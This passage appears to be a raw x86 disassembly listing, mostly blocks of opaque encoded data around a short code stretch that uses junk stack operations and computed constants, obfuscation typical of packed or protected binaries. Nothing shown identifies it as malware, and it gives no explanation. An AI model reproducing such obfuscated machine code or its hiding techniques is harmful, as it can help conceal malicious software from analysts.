		dd 0DAC7DA12h, 57625D11h, 0BF207D99h, 19D93BD4h, 7B8466B3h
		dd 389E936Ch, 0FD456F81h, 91C2B339h, 0E8176759h, 1B16EAF8h
		dd 6308A88Ch, 0E29C2E60h, 0A5C1A770h, 72BF25F3h, 41D46AB1h
		dd 1A0FEC32h, 1D14EBCDh, 5FAD5BD0h, 489ED252h, 952B06F9h
		dd 583C293Eh, 0E0D34458h, 31CEDA12h, 47344900h,	0D3445863h
		dd 3CE51DEBh, 3E8BA65Ah, 408DA45Ch, 4592875Eh, 0D56B8171h
		dd 445904E8h, 58BE8CD3h, 0C03A48E5h, 46331C69h,	0D3445862h
		dd 7EB61CEAh, 0E2CBAh, 0EFFB33FEh, 3B8B2110h, 0A8B66DC4h
		dd 0A089D653h, 4458CFB3h, 238957D3h, 1A9E42EBh,	0FF000000h
		dd 5919FDEAh, 89A1D344h, 1C54BA77h, 311580Bh, 50E835FCh
		dd 98D061A0h, 0FB1EC687h, 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h
		dd 227D4B6h, 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh, 56686FBBh
		dd 8900000Eh, 0E6892434h, 4C681h, 0EE830000h, 24348704h
		dd 0E789575Ch, 4C781h, 0EF830000h, 243C8704h, 240C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	ecx, 6D0F5CA2h
		inc	ecx
		not	ecx
		neg	ecx
		sub	ecx, 4E175CCAh
		push	eax
		mov	eax, 1B1D6A4Ch
		xor	ecx, eax
		pop	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, ecx
		mov	[eax+8], esi
		mov	esi, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_546C33
; ---------------------------------------------------------------------------
		db 2Fh
		dd 0A1F9B886h, 0C50305EAh, 0F400E0FFh, 8CB52153h, 0C0F82FCFh
		dd 60410320h, 376B6846h, 38A237D1h, 72AD5C8Dh, 3F1F412Ah
		dd 0B3D4129h, 1ECE7529h, 48E97E7Ah, 50000001h, 54000000h
		dd 58000000h, 5C000000h, 60000000h, 64000000h, 68000000h
		dd 6C000000h, 0B0000000h, 0B4000000h, 0B8000000h, 0BC000000h
		dd 0C0000000h, 0C4000000h, 0C8000000h, 0CC000000h, 0D0000000h
		dd 0D4000000h, 0D8000000h, 0DC000000h, 0E0000000h, 0E4000000h
		dd 0E8000000h, 0EC000000h, 38h dup(0)
		dd 0CF000000h, 0EB00578Eh, 8D00A050h, 0EAA2CA85h, 0CD8D8905h
		dd 0E905E721h, 6, 8975F290h, 85896B62h,	5EAA40Ah, 12D59D89h
		dd 5E905E7h, 8000000h, 0C168BDF7h, 32A585C6h, 665405E7h
		dd 0D668F28Bh, 8194C77Eh, 0E9532404h, 0B509599Ah, 5E71181h
		dd 2B05B5FFh, 858D05E7h, 5EA7DA1h, 182D8589h, 0D0FF05E7h
		dd 6E9h, 6F513E00h, 8908ABD0h, 0EAA40E85h, 4471BE05h, 0BD315AB9h
		dd 5E7271Dh, 54E9h, 10E800h, 0BF720000h, 0C21AE6Ah, 0F53FA171h
		dd 0BF08E885h, 0BB6689A0h, 565BE7CBh, 0A40AB58Bh, 68905EAh
		dd 0A40A8583h, 5E0405EAh, 0B58D60C3h, 5EAA2CAh,	6A560FEBh
		dd 0FF36FF00h, 0EAA40E95h, 0C6835E05h, 3E8304h,	0C361EC75h
		dd 8B4FD780h, 0E70391BDh, 0BC858D05h, 6005EAA4h, 0BD89FB8Bh
		dd 5E72229h, 0F1858961h, 0E805E700h, 14h, 5296D28Fh, 6425709h
		dd 0F13C7E1Ah, 0C5DB623h, 5A0DA5CDh, 6DBD8960h,	8905E724h
		dd 0E71505BDh, 0F5F6105h, 58Bh,	0C0816600h, 0C7818074h
		dd 6254h, 0FFF5DB2Bh, 0BD893B34h, 5E709D5h, 0F5B58B5Ah
		dd 8105E719h, 48C616C2h, 0C5C28108h, 0FC2B837Eh, 3C54F281h
		dd 858B75D8h, 5E7189Dh,	511F1489h, 79B533h, 535E05E7h
		dd 90F18166h, 0EB8159D5h, 647EA797h, 0A793C381h, 0FB81647Eh
		dd 0FFFF9E64h, 1A850Fh,	0B58B0000h, 5E72459h, 27E9h, 0AA7CD000h
		dd 44AE5785h, 435BD272h, 0BD5C56ADh, 0FFFF8EE9h, 0DD3F79FFh
		dd 4EB1A86Ch, 0DFBE761Bh, 5808DB4Ah, 8E8909DCh,	75E9h
		dd 8C666000h, 0F04A8D8h, 3584h,	0FF016A00h, 0E70899B5h
		dd 0A1858D05h, 0FF05EA7Dh, 618589D0h, 8B05E720h, 0CEFC1FEh
		dd 4000068h, 6A006A20h,	0D685702h, 0FF000100h, 0E7206195h
		dd 32E905h, 85C60000h, 5E732A5h, 30DF6856h, 0B5FFA9C5h
		dd 5E72B05h, 7DA1858Dh,	0D0FF05EAh, 1BC18589h, 858D05E7h
		dd 5E70AEDh, 6A206A50h,	95FF5605h, 5E71BC1h, 0E0C1C361h
		dd 39EB06h, 0CC00C000h,	0E400C002h, 0C002h, 14000000h
		dd 774542ADh, 71745BA1h, 7B204AA9h, 6B4D41ADh, 6F4C4BEAh
		dd 0C57461C4h, 8E206388h, 55060B0h, 42487BAAh, 18444EA1h
		dd 5D2045A4h, 6202C2Ch,	0C0790FC4h, 0A56CA69Dh,	0E464AEC0h
		dd 602036C0h, 0F3716EC4h, 0A88EE466h, 0D2A08840h, 6CE0A493h
		dd 0C87FC4h, 0A1202FC4h, 4978EC9Ch, 0E1240B80h,	25240B80h
		dd 58202FC4h, 674DEC94h, 0BBA3E072h, 6C72345h, 2295AC4h
		dd 27083679h, 79542FC1h, 0F0AB7C94h, 1824967Ch,	71A5A6C4h
		dd 8B25C8C0h, 0EA94BC59h, 0DAF3D0C1h, 0D99DAC9Ch, 6025C8ECh
		dd 637038B0h, 1824967Ch, 71A5A6C4h, 8B25C8C0h, 0EA91AD59h
		dd 0DAF3D0C1h, 1A1499Ch, 604AFBC3h, 3023C796h, 42002FC4h
		dd 58A97507h, 42A12BE0h, 3352BE0h, 0D3622FC4h, 4BCE6807h
		dd 873FEE49h, 56E0A4C1h, 9DE6F84Fh, 9C71D61h, 50204592h
		dd 3202C2Ch, 427E0FC4h,	0E454A69Ah, 4464AEC0h, 302038C0h
		dd 0DB7669C4h, 94167A61h, 11D1A24Fh, 82462A23h,	0E9EF2823h
		dd 2995FA9h, 54A17692h,	21E810E0h, 4A20459Ah, 0C202C2Ch
		dd 0C57A0FC4h, 2774A69Eh, 0A564AEC0h, 0C02036C0h, 0A3726DC4h
		dd 0C0304792h, 0EAAB9415h, 0BD1B2C5h, 0B3DF2A23h, 6C704C1h
		dd 69732FAEh, 0C0202FC7h, 3BE374E4h, 3404734Dh,	1C046B45h
		dd 0C202FDDh, 2AE37C87h, 0F4FC517Eh, 5C950CC5h,	4D25C8D7h
		dd 8A5D8E41h, 602045C1h, 18202C2Ch, 0CF780FC4h,	2264A69Ch
		dd 2764AEC0h, 812039C0h, 3706FC4h, 0EBC4827Dh, 0D708C651h
		dd 72F0D0C1h, 0FC87FC4h, 26202FC4h, 8A78EC9Ch, 240B80h
		dd 0DD240B80h, 20202FC4h, 0F522EC94h, 1C85A55Ch, 32C2CA0Ch
		dd 1D3D92CFh, 74A2A23h,	81202B2Ch, 0C0302FC4h, 799E49C4h
		dd 20C87FD8h, 7E202FC4h, 80F91930h, 44BF1A9Fh, 0E803BBBAh
		dd 37094EDEh, 84AB7582h, 0EB462BE0h, 5620A415h,	91ED357Dh
		dd 0E5240B80h, 6202FC8h, 7641012Fh, 1B72AE02h, 0E7915C95h
		dd 6030C69Ch, 9F1F2FC4h, 0B6F51DF2h, 2CD3F31Eh,	974E3CAFh
		dd 884082C4h, 66387A71h, 0C4C84EC1h, 8C202FC4h,	56202FC6h
		dd 480BDF7Ah, 48ABD84Fh, 14C92BE0h, 51202FC4h, 233211Ah
		dd 0AE6FE5F9h, 0D5B417D1h, 21495E20h, 1720A49Bh, 0C203F4Ah
		dd 625C7C4h, 63B62FC4h,	3FDCE85Bh, 0A87A34A6h, 4464A69Eh
		dd 30AA20C0h, 40202FC4h, 66D390CBh, 502045C4h, 3202C2Ch
		dd 427E0FC4h, 0E454A69Ah, 4464AEC0h, 302035C0h,	0DB7669C4h
		dd 1AC2A2F6h, 8F365298h, 0E4206241h, 14A51EC1h,	3F25C8DCh
		dd 6033C614h, 0FD8E2FC4h, 0DAE455Bh, 6A433D1Ch,	1721B6F8h
		dd 0BD8663E3h, 0BBA5A6CBh, 4925C562h, 873C9649h, 35D8A4C1h
		dd 18202D08h, 0AA1EAA4Dh, 0C6A32A2Eh, 41A5A6DCh, 0B225C562h
		dd 0C2CC9604h, 0CAD32FC4h, 47E9AEA2h, 8DAB7D27h, 9C73CC1h
		dd 0A3A5E99Bh, 4025C8F6h, 69712FAEh, 0C0202FC7h, 39E376E4h
		dd 3404634Dh, 1C046B45h, 0C202FD0h, 0D1E37E85h,	0B1AAF5h
		dd 2E482A23h, 90C74228h, 6FEBA596h, 8E467CF5h, 427E804Ah
		dd 2814AE9Ch, 7D2AA835h, 0EB772FAEh, 81202FC7h,	9FE370E4h
		dd 6404534Dh, 34046B45h, 18202FD1h, 62E37883h, 7AA2063h
		dd 0FF202FC4h, 88FD924Fh, 75DF2A23h, 65C704C1h,	0D8722FAEh
		dd 18202FC7h, 56E375E4h, 2047B4Dh, 7046B45h, 81202FD1h
		dd 65E37D86h, 0C595A4FFh, 0B925C8D3h, 0FF3BF651h, 0ADA5A2C1h
		dd 6C25C5B9h, 0C87EC4h,	0A1202FC4h, 4979EC9Dh, 0E1240B88h
		dd 2C240B80h, 59202FC4h, 0E4F0EC95h, 0C889B269h, 0FCA73C36h
		dd 84AE2014h, 0A6202FC4h, 0EB7FDD45h, 3445AA4Dh, 8DA92A23h
		dd 9C70431h, 29DAA49h, 34A2A23h, 8123C797h, 9B002FC4h
		dd 3CA97407h, 74A12BE0h, 18382BE0h, 5F632FC4h, 1A983407h
		dd 0E4A178D3h, 9662D7D2h, 0DA6DAA4Dh, 0EDA92A23h, 35C70561h
		dd 2A85AA02h, 66732A23h, 5C879C4h, 23202FC4h, 87EEC9Ah
		dd 41240BB0h, 78240B80h, 76202FC4h, 3FE9EC92h, 876F6E30h
		dd 0E13FEA71h, 9AAD06C1h, 6925C8D5h, 0C0202FC0h, 9C91671Ch
		dd 30A82094h, 93202FC4h, 87240B80h, 8F20A43Dh, 53240B80h
		dd 812CC796h, 43F02FC4h, 0F49338ACh, 4CB6DBC2h,	19AAD74h
		dd 553277F3h, 5E7A1ECBh, 569DA49Ch, 7E25C8C7h, 270B2A71h
		dd 49724FC1h, 0D7128651h, 0A72F71C1h, 89AD4E0Bh, 3CA5265h
		dd 0EB772FAEh, 81202FC7h, 9FE370E4h, 6404534Dh,	34046B45h
		dd 18202FD0h, 52E37883h, 0BBA97C92h, 6C72E79h, 51DF769Bh
		dd 0C020242Ch, 4A482FC4h, 1235978Eh, 4BFE9E5Ch,	53D9A4A2h
		dd 27E1AA4Dh, 34A2A23h,	8123C792h, 9E002FC4h, 14A97107h
		dd 74A12BE0h, 18352BE0h, 5A662FC4h, 8FC5F507h, 0E43B7651h
		dd 24A5E9C1h, 9325C8F6h, 88712FAEh, 30202FC7h, 41E376E4h
		dd 804634Dh, 2046B45h, 3202FDDh, 4DE37E85h, 5262045Ch
		dd 85E1AF20h, 30202B2Ch, 0E49CC4h, 3714F1Ch, 6202F44h
		dd 0D4AB74C4h, 69997FA5h, 4B011127h, 89240B80h,	30202FD5h
		dd 0F29741C5h, 8DA95DE1h, 0F9DF177h, 0BD9B132Ch, 3820A40Eh
		dd 0B1863EF2h, 64046B4Dh, 3020202Ch, 4A375EC4h,	0B830A384h
		dd 9E64D3D5h, 52A03337h, 81203E2Ch, 3B268AC4h, 638B76D5h
		dd 8B09820h, 48D6E80Dh,	9C8791Dh, 7B202FC4h, 0CD63C926h
		dd 0D97F769Dh, 28752FAEh
		dd 60202FC7h, 6DE372E4h, 1C04434Dh, 8046B45h, 6202FDFh
		dd 3EE37A81h, 98F6DC2Eh, 284C321Dh, 60202FCDh, 0F082AB49h
		dd 54233C4Ah, 0A9B5A666h, 5925C8E6h, 28259A3Bh,	1CA92A23h
		dd 0C5C71CDDh, 1D81AA49h, 0BE2F2A2Eh, 18202FC2h, 128FEE45h
		dd 0D6DF3799h, 0EB732FAEh, 81202FC7h, 9BE374E4h, 6404734Dh
		dd 34046B45h, 18202FD0h, 68E37C87h, 0EF89CE44h,	3202FC1h
		dd 0AB2FC1CFh, 0D9A5A6A3h, 0E125C8C6h, 9F555433h, 0BDA5E984h
		dd 4B25C8F6h, 620232Dh,	896501C4h, 9211C904h, 160B3308h
		dd 6024C765h, 0ED892FC4h, 0EFAB981Ah, 0B5467C94h, 8D7AAC5Eh
		dd 53240B80h, 34112096h, 4B7875F4h, 0EA727FC4h,	0D8112008h
		dd 18202FCAh, 6C8DD2EFh, 0F73749C8h, 0EFD44BC0h, 0DE99A387h
		dd 9F3EB146h, 24A9779Eh, 0A1912BE0h, 4B20459Ch,	0C202C2Ch
		dd 0C57B0FC4h, 277CA69Fh, 0A564AEC0h, 0C02033C0h, 0A3736CC4h
		dd 0D4BD19C4h, 2C355D1Dh, 9D9D1C71h, 0F925C8D6h, 0E40B2A71h
		dd 0D72045C1h, 0C0202C2Ch, 0A37E0FC4h, 1454A69Ah, 3C64AEC0h
		dd 0C2034C0h, 0C57669C4h, 9C37DBC9h, 0C46B81B0h, 0C020242Ch
		dd 6FED31C4h, 113E9DD7h, 68C441D8h, 2DBDBA4Fh, 8B792A23h
		dd 0E95D8E41h, 51AB49C1h, 0EBE9A24Dh, 0B0DF2A23h, 3995A24Dh
		dd 7E732A23h, 857AFC4Fh, 0E1351E41h, 32AC6C1h, 9BE92FC4h
		dd 8F8A21B3h, 87ADE68Ah, 285AA02h, 17672A23h, 0D148FD7Bh
		dd 87E052A3h, 74870BF0h, 814A6E65h, 0C023C791h,	3D002FC4h
		dd 5CA97207h, 5CA12BE0h, 0C382BE0h, 53652FC4h, 4C60107h
		dd 34DF4672h, 0C5C704C1h, 62DDA2F7h, 0BDA92A23h, 1DC70BC9h
		dd 7181AA49h, 64A2A2Eh,	323C791h, 0DC002FC4h, 0ACA97207h
		dd 24A12BE0h, 303A2BE0h, 4D652FC4h, 0BADCB407h,	3B237D04h
		dd 57E295A2h, 3E2FFF3Bh, 0B1A5A612h, 0EB25C8E3h, 0D7331E79h
		dd 0BDA5E9C1h, 4B25C8F6h, 89E091A2h, 4643F6ACh,	812FC682h
		dd 0E5F32FC4h, 35F61845h, 0C7E9A75Dh, 0E2E21A80h, 2824AEC8h
		dd 62A7F740h, 0B6DFFB4Eh, 84C704C1h, 28732FAEh,	60202FC7h
		dd 6BE374E4h, 1C04734Dh, 8046B45h, 6202FD1h, 7DE37C87h
		dd 0B5759623h, 45AD039Bh, 65CA5265h, 0D8762FAEh, 18202FC7h
		dd 52E371E4h, 2045B4Dh,	7046B45h, 81202FD1h, 20E37982h
		dd 0A2391B3h, 0E0DF021Fh, 1823ABCBh, 0BB2F2FC4h, 4BA5A613h
		dd 6525C8D2h, 0B6FCF845h, 4F2FFF3Bh, 60202FC8h,	3026A2CBh
		dd 0ADAB2FC4h, 9C7387Dh, 34A9AA4Dh, 34A2A23h, 8123C791h
		dd 9D002FC4h, 0CA97207h, 74A12BE0h, 18392BE0h, 59652FC4h
		dd 57FD4D07h, 2767C48h,	6627E659h, 18AC49C1h, 0E9240B38h
		dd 0D7206E51h, 17E025C1h, 0C231C40h, 62CC6C4h, 25622FC4h
		dd 0F2D657D2h, 0A605C9A8h, 0E146551Ah, 0F660F91Bh, 0FF128A41h
		dd 0C4A60C1h, 623C794h,	5B002FC4h, 0C5A97707h, 84A12BE0h
		dd 603A2BE0h, 60602FC4h, 0E3706707h, 0AA51E4CFh, 2BA99A4Fh
		dd 7C82A23h, 45202FC4h,	0CF9FAFA8h, 60202B43h, 359E49C4h
		dd 4A707F42h, 0C22A6CBh, 67402FC4h, 51721ECBh, 0D97A759Ah
		dd 0C4046B4Fh, 6AC82F4Fh, 0F1202FC4h, 850A820Bh, 7E71C4F4h
		dd 630C6D9h, 942A2FC4h,	9C273CB6h, 0CA9721BEh, 0C795C64Fh
		dd 0B97A38C5h, 0F1240B80h, 0C202FC8h, 7B8DE7F8h, 36D3F039h
		dd 9C01AE63h, 9220459Ch, 60202C2Ch, 0F37A0FC4h,	3C74A69Eh
		dd 2864AEC0h, 6203AC0h,	0C0726DC4h, 14A9626Fh, 0C5C7302Dh
		dd 4B259A3Bh, 82402A23h, 1828C617h, 0C2512FC4h,	6C40B44Eh
		dd 8E414BADh, 6B5D8E41h, 902045C1h, 60202C2Ch, 0F3780FC4h
		dd 3C64A69Ch, 2864AEC0h, 62034C0h, 0C0706FC4h, 0E472955Ch
		dd 0CBA983F7h, 93ABFF3Bh, 0C504EF47h, 351AA4Dh,	0C4A2A23h
		dd 623C793h, 5C002FC4h,	0FDA97007h, 84A12BE0h, 60382BE0h
		dd 67672FC4h, 72D22007h, 89A99D87h, 3C70F99h, 31A9AA4Fh
		dd 814A2A23h, 0C023C791h, 3D002FC4h, 5CA97207h,	5CA12BE0h
		dd 0C3B2BE0h, 53652FC4h, 8579AD07h, 0D022A691h,	0C028C60Fh
		dd 52672FC4h, 0B7641698h, 85AB8DE6h, 9C73989h, 0EE762FAEh
		dd 3202FC7h, 0DFE371E4h, 0C4045B4Dh, 64046B45h,	30202FDFh
		dd 60E37982h, 6D14CEF9h, 452B5C87h, 0E0606F7Bh,	0EB3BA4C1h
		dd 0C3C87EC4h, 40202FC4h, 0B979EC9Dh, 99240B88h, 17240B80h
		dd 47202FC4h, 70A1EC95h, 0CC723D25h, 799ABBAEh,	0EB53CC53h
		dd 2D9A49DFh, 41BD2ED5h, 8725C8E0h, 83CAAEDFh, 305E0320h
		dd 0F0B5A41Ch, 7E25C8D3h, 42A9CF37h, 2329B24Dh,	9C82A23h
		dd 6D202FC4h, 56924AEFh, 0C498D381h, 0CFBD1FBBh, 790B2Bh
		dd 0C5A5E99Ah, 7725C8F6h, 0F0722FAEh, 0C202FC7h, 5CE375E4h
		dd 7047B4Dh, 85046B45h,	0C0202FDDh, 64E37D86h, 42A4727Ah
		dd 70F79ED6h, 5E020267h, 0E4AECA7Ah, 2724AE8Ah,	0E49C9FC2h
		dd 28702FAEh, 60202FC7h, 68E377E4h, 1C046B4Dh, 8046B45h
		dd 6202FDDh, 6E37F84h, 4129EAB9h, 5BB5956Bh, 0EDA97DFCh
		dd 35C73BA1h, 33259A3Bh, 9C92A23h, 14202FC4h, 5C36D8FFh
		dd 0FC81AA49h, 3FD92A2Eh, 37204514h, 30202C2Ch,	0DB7F0FC4h
		dd 285CA69Bh, 2264AEC0h, 32039C0h, 427768C4h, 4B4F1B73h
		dd 8739C649h, 0FDE9AFC1h, 0D11AA4Dh, 0E2A02A23h, 46EAA4CCh
		dd 3203F2Dh, 488280C4h,	0D1F1890Dh, 6A953593h, 0D9EE8145h
		dd 3B20A4F6h, 0EB3A0249h, 6C20A4C1h, 0C879C4h, 0A1202FC4h
		dd 497EEC9Ah, 0E1240BB0h, 26240B80h, 5E202FC4h,	31B8EC92h
		dd 2795A605h, 0EA25C8CFh, 81202FD7h, 0E33E4D9h,	92A73BF0h
		dd 0D147C296h, 8D563F7Ah, 850146E5h, 0E1237E41h, 459A49C1h
		dd 8074C6ACh, 4DAB2FC4h, 65C70EB5h, 9640AA49h, 95AB2A2Eh
		dd 9C72A61h, 62CC794h, 4DF22FC4h, 0F2F7FD72h, 0A05723BBh
		dd 0D39EE372h, 69223DC6h, 0E1042B4Dh, 0C09BA3Bh, 8B292A23h
		dd 6C7367Dh, 2746B249h,	0C04A2A2Eh, 6023C797h, 6B002FC4h
		dd 44A97407h, 48A12BE0h, 6392BE0h, 50632FC4h, 442C407h
		dd 0A0BF241Bh, 6026A9CBh, 8DA92FC4h, 1DC7389Dh,	6C704E38h
		dd 6203B2Ch, 7F7A08C4h,	18C55650h, 0BECF27FCh, 0C19D297Bh
		dd 0C5728517h, 902F747Eh, 0C202FC6h, 8F417092h,	34A0BD8h
		dd 8123C791h, 9D002FC4h, 0CA97207h, 74A12BE0h, 183B2BE0h
		dd 59652FC4h, 0FF31B407h, 50A106ADh, 34ABD3B1h,	0C5C701B5h
		dd 6DC97D54h, 0F0202FC4h, 232CACD0h, 0CD0A36FDh, 0BBF2FBB2h
		dd 0F6AA7F9Bh, 0D3204554h, 0C0202C2Ch, 0A37A0FC4h, 1474A69Eh
		dd 3C64AEC0h, 0C2039C0h, 0C5726DC4h, 0FC906FC2h, 6639CE51h
		dd 912045C1h, 60202C2Ch, 0F3790FC4h, 3C6CA69Dh,	2864AEC0h
		dd 62034C0h, 0C0716EC4h, 7827401Ah, 66BB6F13h, 6B9896A2h
		dd 319D9A4Dh, 9DA92A23h, 9C734B5h, 0EE722FAEh, 3202FC7h
		dd 0DBE375E4h, 0C4047B4Dh, 64046B45h, 30202FD0h, 81E37D86h
		dd 190D9ACFh, 83E62A23h, 6C71D61h, 0F4950697h, 2825C8C4h
		dd 60202FC0h, 9AA7ABBBh, 0F0439194h, 48AB1354h,	54702BE0h
		dd 597F7F94h, 38461ECBh, 987A8404h, 32702F4Fh, 3020212Dh
		dd 930E5AC4h, 0D4D9C169h, 4A81E3E2h, 0C30845Ch,	8133C7F5h
		dd 0A2F2FC4h, 2D3B347Dh, 0EE3A49DDh, 75BC1A82h,	47D23994h
		dd 62BC6CDh, 0DBEF2FC4h, 0AEEE9368h, 0C2913BDAh, 387A702Dh
		dd 34046B4Dh, 18203E2Ch, 252B4EC4h, 4A6E8707h, 0C2F199FBh
		dd 9BE99A97h, 462F21B3h
		dd 60202FC6h, 687F7697h, 259BAC5h, 0B9DF2A23h, 3C704C1h
		dd 32B9AACDh, 4AD2A23h,	0C5CA5265h, 88702FAEh, 30202FC7h
		dd 40E377E4h, 8046B4Dh,	2046B45h, 3202FDCh, 0AAE37F84h
		dd 0B53775FCh, 0C4EAAEA2h, 1F0D000h, 0FF235659h, 0B1A5A6C1h
		dd 6C25C8DEh, 0C878C4h,	0A1202FC4h, 497FEC9Bh, 0E1240BB8h
		dd 29240B80h, 5F202FC4h, 0B456EC93h, 2D295175h,	15DDAACDh
		dd 4E62A23h, 0C5C71D61h, 0DD9D1E83h, 0D825C8DFh, 18202FC0h
		dd 0AD523A54h, 9727F93h, 59414FF5h, 0A70759Ch, 0E464A40Bh
		dd 3320A4C0h, 0F43895A2h, 3C64A69Eh, 1FC84FC0h,	0C5202FC4h
		dd 0FEE9F1E3h, 6B2C8BF7h, 32FFD968h, 1591DE5Eh,	0E7AA3C52h
		dd 1B99499Dh, 0BD784EF2h, 395D051h, 6925C8EFh, 82C87FC4h
		dd 0E0202FC4h, 0E978EC9Ch, 0B1240B80h, 5240B80h, 4C202FC4h
		dd 4E38EC94h, 0BF832622h, 0E172D8D3h, 0DFB9A24Dh, 0E5AD2A23h
		dd 35CA5265h, 1820202Dh, 0C6AE76C4h, 7ED507B6h,	2CB4750Bh
		dd 0C549A5C0h, 0A6F0D038h, 0E5A9DC4Fh, 35C72FF5h, 1826AACBh
		dd 99AB2FC4h, 3C72F49h,	0C5EBA4A2h, 66128A41h, 0C04A7CC1h
		dd 6023C796h, 6A002FC4h, 4CA97507h, 48A12BE0h, 6352BE0h
		dd 51622FC4h, 0AA21D07h, 0E35F470Ah, 6405EBFh, 0B141D54Fh
		dd 24310BC0h, 992B087Ah, 3C707F1h, 28259A3Bh, 34AB2A23h
		dd 0C5C73AE1h, 1D81AA49h, 304A2A2Eh, 1823C796h,	56002FC4h
		dd 52A97507h, 47A12BE0h, 81352BE0h, 92622FC4h, 605D607h
		dd 3DC9DD4Fh, 0EC202FC4h, 460CF054h, 7ECA8FCEh,	400BF89Eh
		dd 51DFC54Eh, 28752FAEh, 60202FC7h, 6DE372E4h, 1C04434Dh
		dd 8046B45h, 6202FDEh, 40E37A81h, 786E1090h, 45A9ECBCh
		dd 65C73851h, 0B5E6DF4Fh, 1DC71D61h, 5C204593h,	6202C2Ch
		dd 0C0780FC4h, 0A564A69Ch, 0E464AEC0h, 602037C0h, 0F3706FC4h
		dd 0DA44057Eh, 0E9A5A657h, 6E25C8F6h, 0DA6F429Eh, 3B467D94h
		dd 0F12F7CC5h, 3AF7A4A2h, 1414AE9Ch, 516B1098h,	995D031h
		dd 8D25C8EFh, 0E40D2679h, 20A5A2C1h, 2925C5B9h,	60202FC8h
		dd 933DE9BDh, 0B2ADA534h, 0E8ED4A08h, 0B309FF3Bh, 6C70FE9h
		dd 8571AA4Dh, 4B702A23h, 87238679h, 0B5E675C1h,	1DC71D61h
		dd 51951C87h, 0EE25C8C1h, 3202FC0h, 3DB05FECh, 0C03DA8CBh
		dd 32702FC4h, 12F4EA4h,	18203F2Dh, 7C3A17C4h, 69E8918Dh
		dd 0A3319F85h, 84918E2Fh, 907875FFh, 6035AACBh,	3BC82FC4h
		dd 0A6202FC4h, 0DE6F513Bh, 0B1EFC492h, 0BC46C751h, 0A7FE033h
		dd 28240B80h, 60202FD0h, 791FAA46h, 0B5BFA977h,	0D95DBA7Eh
		dd 0D59D774Bh, 7885A462h, 13BA90A2h, 4920A49Bh,	30240B80h
		dd 0C89F4996h, 0F11120EAh, 0C202FD0h, 4F88A52h,	1016F10Eh
		dd 0B58CBF4Fh, 0F50ADA86h, 89E5328Ch, 3F78779Eh, 18202644h
		dd 0FA620C4h, 9202FC4h,	0B6DFDD7Bh, 84C704C1h, 28752FAEh
		dd 60202FC7h, 6DE372E4h, 1C04434Dh, 8046B45h, 6202FD2h
		dd 5FE37A81h, 95C8D1C5h, 96202FC4h, 0BAB6C51Ah,	461694B0h
		dd 0D24AEC67h, 1035972h, 605718BCh, 5952EA7Dh, 0FC81AA49h
		dd 629E2A2Eh, 9F46D36Bh, 66204514h, 18202C2Ch, 0CF7E0FC4h
		dd 2254A69Ah, 2764AEC0h, 812032C0h, 37669C4h, 84DA4517h
		dd 0D445E288h, 95AB3225h, 9C73319h, 2C3DAA4Dh, 86AD2A23h
		dd 84CA8992h, 28772FAEh, 60202FC7h, 6FE370E4h, 1C04534Dh
		dd 8046B45h, 6202FD8h, 0BEE37883h, 3F4C979h, 0DA2AEB78h
		dd 6026C654h, 0D7E02FC4h, 0AAA77B4Fh, 9C7E7F94h, 0EE722FAEh
		dd 3202FC7h, 0DBE375E4h, 0C4047B4Dh, 64046B45h,	30202FDEh
		dd 52E37D86h, 540A8904h, 93DF8ACAh, 6C72FEDh, 69752FAEh
		dd 0C0202FC7h, 3DE372E4h, 3404434Dh, 1C046B45h,	0C202FDEh
		dd 8E37A81h, 60FE6E91h,	50AB7B96h, 0C04AF74Fh, 6023C792h
		dd 6E002FC4h, 6CA97107h, 48A12BE0h, 6372BE0h, 55662FC4h
		dd 0D7DA0307h, 59D2447h, 625C8F6h, 0B5ADFE4Fh, 1DCA898Eh
		dd 0C24A3CBh, 0B8462FC4h, 0EAB04C18h, 81202FD5h, 0A121A636h
		dd 0B51950C2h, 0A67C6E27h, 87A778B0h, 0E957F60h, 51204554h
		dd 3202C2Ch, 427F0FC4h,	0E45CA69Bh, 4464AEC0h, 302038C0h
		dd 0DB7768C4h, 39F4B073h, 8D70C04Eh, 273CA60Ch,	99419A4Dh
		dd 55DF2A23h, 65C73625h, 0D8712FAEh, 18202FC7h,	55E376E4h
		dd 204634Dh, 7046B45h, 81202FD1h, 59E37E85h, 51AD064Eh
		dd 0B925C8C0h, 0FF330641h, 2C94FC1h, 0CE202FC4h, 76655494h
		dd 72949506h, 0A99B02BCh, 0A195060Fh, 5125C8CCh, 3F35AA03h
		dd 0C2F2A23h, 0B8462FC4h, 96DF64DCh, 84C73CEDh,	28702FAEh
		dd 60202FC7h, 68E377E4h, 1C046B4Dh, 8046B45h, 6202FDCh
		dd 4AE37F84h, 1A1B6928h, 0B4F2AEA2h, 6026C7F0h,	1FDE2FC4h
		dd 0B492C68Ah, 2331B24Dh, 8F7E2A23h, 0E4082A41h, 4FAB49C1h
		dd 0C445AA4Fh, 0FDAD2A23h, 35CA9649h, 95216C4Dh, 0EB249279h
		dd 6195A2C1h, 0BA25C57Dh, 81202FF7h, 0F3CB8B37h, 60202F7Ch
		dd 44E024C4h, 1838EDC7h, 46B4Fh, 620C797h, 827B2FC4h, 81203807h
		dd 0E47CA6C4h, 4464A6D4h, 79874D0h, 0E7208F64h,	2864A424h
		dd 6CC0D0C0h, 0C87DC4h,	0A1202FC4h, 497AEC9Eh, 0E1240B90h
		dd 27240B80h, 5A202FC4h, 9F15EC96h, 0EE402802h,	3202FCDh
		dd 49E53E0h, 0B16DACA7h, 995A454h, 6925C8D1h, 1826ACCBh
		dd 882F2FC4h, 6202FC4h,	8EAB7DA5h, 84C725F9h, 65951E9Bh
		dd 125C8E4h, 0D8732FAEh, 18202FC7h, 57E374E4h, 204734Dh
		dd 7046B45h, 81202FDCh,	83E37C87h, 0A2C1EC74h, 3020222Ch
		dd 54022EC4h, 1AA33997h, 2E2A6D37h, 0BD46E5B9h,	0C7AB799h
		dd 2A866579h, 5EADA2C1h, 8825C57Eh, 800684F1h, 5A9AAF7h
